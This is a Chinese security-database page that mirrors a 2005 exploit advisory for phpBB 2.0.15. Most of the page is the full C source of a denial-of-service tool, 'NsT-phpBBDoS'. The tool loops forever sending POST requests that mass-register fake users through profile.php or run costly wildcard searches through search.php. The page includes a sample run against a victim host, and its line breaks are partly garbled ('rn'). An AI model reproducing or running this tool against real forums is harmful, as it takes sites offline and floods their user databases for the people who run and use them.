phpBB 2.0.15 – Register Multiple Users (Denial of Service) (C)

phpBB 2.0.15 – Register Multiple Users (Denial of Service) (C)

漏洞ID 1055178 漏洞类型
发布时间 2005-06-22 更新时间 2005-06-22
图片[1]-phpBB 2.0.15 – Register Multiple Users (Denial of Service) (C)-安全小百科CVE编号 N/A
图片[2]-phpBB 2.0.15 – Register Multiple Users (Denial of Service) (C)-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/1064
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]® - Advisory #15 - 00/00/06
--------------------------------------------------------
Program:  phpBB 2.0.15
Homepage:  http://www.phpbb.com
Vulnerable Versions: phpBB 2.0.15 & Lower versions
Risk: High Risk!!
Impact: Multiple DoS Vulnerabilities.

    -==phpBB 2.0.15 Multiple DoS Vulnerabilities ==-
---------------------------------------------------------

- Description
---------------------------------------------------------
phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

- Tested
---------------------------------------------------------
localhost & many forums

- Explotation
---------------------------------------------------------
profile.php << By registering as many users as you can.
search.php  << by searching in a way that the db couln't observe it.

- Exploit
---------------------------------------------------------
[C Source]
/*
  Name: NsT-phpBBDoS
  Copyright: NeoSecurityteam
  Author: HaCkZaTaN
  Date: 19/06/05
  Description: xD You must figure out the problem xD
  
  root@NeoSecurity:/home/hackzatan# pico NsT-phpBBDoS.c
  root@NeoSecurity:/home/hackzatan# gcc NsT-phpBBDoS.c -o NsT-phpBBDoS
  root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS
  [+] NsT-phpBBDoS v0.1 by HaCkZaTaN
  [+] NeoSecurityTeam
  [+] Dos has begun....[+]
  
  [*] Use: ./NsT-phpBBDoS <path> <search.php or profile.php> <Host>
  [*] Example: ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
  root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
  [+] NsT-phpBBDoS v0.1 by HaCkZaTaN
  [+] NeoSecurityTeam
  [+] Dos has begun....[+]
  
  .................................
  root@NeoSecurity:/home/hackzatan# echo "Let see how many users I have created"
  root@NeoSecurity:/home/hackzatan# set | grep MACHTYPE
  MACHTYPE=i486-slackware-linux-gnu
  root@NeoSecurity:/home/hackzatan#

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif

#define __USE_GNU
#define _XOPEN_SOURCE

int Connection(char *, int);
void Write_In(int , char *, char *a, char *, int);
char Use(char *);

int main(int argc, char *argv[])
{
    int sock, x = 0;
    char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];

    puts("[+] NsT-phpBBDoS v0.1 by HaCkZaTaN");
    puts("[+] NeoSecurityTeam");
    puts("[+] Dos has begun....[+]n");
    fflush(stdout);

    if(argc != 4) Use(argv[0]);

    while(1)
    {
           sock = Connection(Host,80);
           Write_In(sock, Path, Pro_Sea, Host, x);
           #ifndef WIN32
           shutdown(sock, SHUT_WR);
           close(sock);
           #else
           closesocket(sock);
           WSACleanup();
           #endif
           Pro_Sea = argv[2];
           x++;
    }
    //I don't think that it will get here =) 

    return 0;
}

int Connection(char *Host, int Port)
{
        #ifndef WIN32
        #define SOCKET int
        #else
        int error;
        WSADATA wsadata;
        error = WSAStartup(MAKEWORD(2, 2), &wsadata);

        if (error == SOCKET_ERROR)
        {
                  perror("Could Not Start Up Winsock!n");
                  return;
        }

        #endif

        SOCKET sockfd;
        struct sockaddr_in sin;
        struct in_addr  *myaddr;
        struct hostent *h;
        
        if(Port <= 0 || Port > 65535)
         {
                  puts("[-] Invalid Port Numbern");
                  fflush(stdout);
                  exit(-1);
         }
        
        if((sockfd =  socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
        {
                    perror("socket() ");
                    fflush (stdout);
                    exit(-1);
        }

        if(isalpha(Host[0]))
        {
           if((h = gethostbyname(Host)) == NULL)
           {
                     perror("gethostbyname() ");
                     fflush (stdout);
                     exit(-1);
           }
        }
        else
        {
              myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
              myaddr->s_addr=inet_addr(Host);
              
              if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)
              {
                     perror("gethostbyaddr() ");
                     fflush (stdout);
                     exit(-1);
              }
        }

        memset(&sin, 0, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_port = htons(Port);
        memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);

        if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) < 0)
        {
                     perror("connect() ");
                     exit (-1);
        }

        return sockfd;
}

void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)
{
    char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);
    char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4rn"
                 "Accept: */*rn"
                 "Accept-Language: en-usrn"
                 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn"
                 "Accept encoding: gzip,deflatern"
                 "Keep-Alive: 300rn"
                 "Proxy-Connection: keep-alivern"
                 "Content-Type: application/x-www-form-urlencodedrn"
                 "Cache-Control: no-cachern"
                 "Pragma: no-cachern";
    char *Profile = "%40neosecurityteam.net&new_password=0123456&password_confirm=0123456&icq=&aim=&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=1&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submitrn";
    char *Search  = "&search_terms=any&search_author=*&search_forum=-1&search_time=0&search_fields=all&search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&return_chars=200rn";

    if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1, "username=NsT__%d&email=NsT__%d%s", x, x, Profile);
    else if(strcmp("search.php", Pro_Sea) == 0)
    {
               Pro_Sea = "search.php?mode=results";
               sprintf(str1, "search_keywords=Hack%d%s", x, Search);
    }
    else
    {
               puts("Sorry. Try making the right choice");
               exit(-1);
    }

    sprintf(str2, "POST %s%s HTTP/1.1rn"
                  "Host: %srn"
                  "Referer: http://%s/rn%s"
                  "Content-Length: %drnrn%s", Path, Pro_Sea, Host, Host, req0, strlen(str1), str1);
          
    write(sock, str2, strlen(str2));
    write(1, ".", 1);
    fflush(stdout);
}

char Use(char *program)
{
	fprintf(stderr,"[*] Use: %s <path> <search.php or profile.php> <Host>n", program);
	fprintf(stderr,"[*] Example: %s /phpBB/ profile.php Victimshost.comn", program);
	fflush(stdout);
	exit(-1);
}

/*

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@@@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@

*/

// milw0rm.com [2005-06-22]

相关推荐: Sendmail MIME权限许可和访问控制漏洞

Sendmail MIME权限许可和访问控制漏洞 漏洞ID 1207635 漏洞类型 缓冲区溢出 发布时间 1996-10-01 更新时间 2005-05-02 CVE编号 CVE-1999-0206 CNNVD-ID CNNVD-199610-001 漏洞平…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享